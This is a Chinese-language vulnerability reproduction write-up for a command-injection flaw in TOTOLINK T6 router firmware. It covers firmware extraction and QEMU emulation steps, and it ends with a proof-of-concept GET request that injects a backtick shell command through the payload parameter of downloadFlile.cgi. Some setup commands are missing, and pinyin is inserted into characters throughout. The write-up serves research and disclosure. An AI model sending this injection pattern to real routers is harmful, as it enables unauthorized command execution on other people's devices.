TOTOLINK是一款無線路由品牌,TOTOLINK T6_Firmware V5.9c.4085_B20190428存在一個任意命令執(zhí)行漏洞。
TOTOLINK T6_Firmware V5.9c.4085_B20190428
訪問
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/190/ids/36.h
下載T6_Firmware V5.9c.4085_B20190428固件

固件下載成功后,執(zhí)行
binwalk -Me TOTOLINK_C818NR_T6_IP04338_8197FN_SPI_16M128M_V5.9c.4085_B20190428_ALL.web --run-as=root
提取文件系統(tǒng)

進入提取的文件系統(tǒng)目錄
執(zhí)行
mkdir var/run && touch /var/run/lighttpd.pid
創(chuàng)建路由器啟動環(huán)境所需的pid

執(zhí)行

給路由器web服務(wù)創(chuàng)建一個虛擬網(wǎng)絡(luò)環(huán)境

執(zhí)行
wget https://people.debian.org/\~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/\~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
下載鏡像和虛擬磁盤環(huán)境,為搭建路由器web作前置準備

鏡像和虛擬磁盤下載完畢后,執(zhí)行
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic
啟動虛擬環(huán)境,虛擬環(huán)境啟動后賬號密碼為root/root

登錄虛擬環(huán)境后,執(zhí)行
ifconfig eth0 192.168.6.10
配置虛擬環(huán)境網(wǎng)絡(luò)

返回原始機器環(huán)境,執(zhí)行
scp -r squashfs-root/ root@192.168.6.10:/root/
將文件系統(tǒng)拷貝至虛擬環(huán)境中

在虛擬環(huán)境中執(zhí)行

啟動路由器web服務(wù)

在原始機器環(huán)境中通過瀏覽器訪問
http://192.168.6.15/login.asp
出現(xiàn)如圖所示頁面代表環(huán)境搭建成功

該漏洞觸發(fā)點位于
/cgi-bin/downloadFlile.cgi
構(gòu)造如下數(shù)據(jù)包并請求
執(zhí)行pwd命令并將命令結(jié)果寫入../pwd.txt
GET /cgi-bin/downloadFlile.cgi?payload=`pwd>../pwd.txt` HTTP/1.1
Host: 192.168.6.10
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
瀏覽器訪問

如圖所示,頁面顯示pwd命令結(jié)果
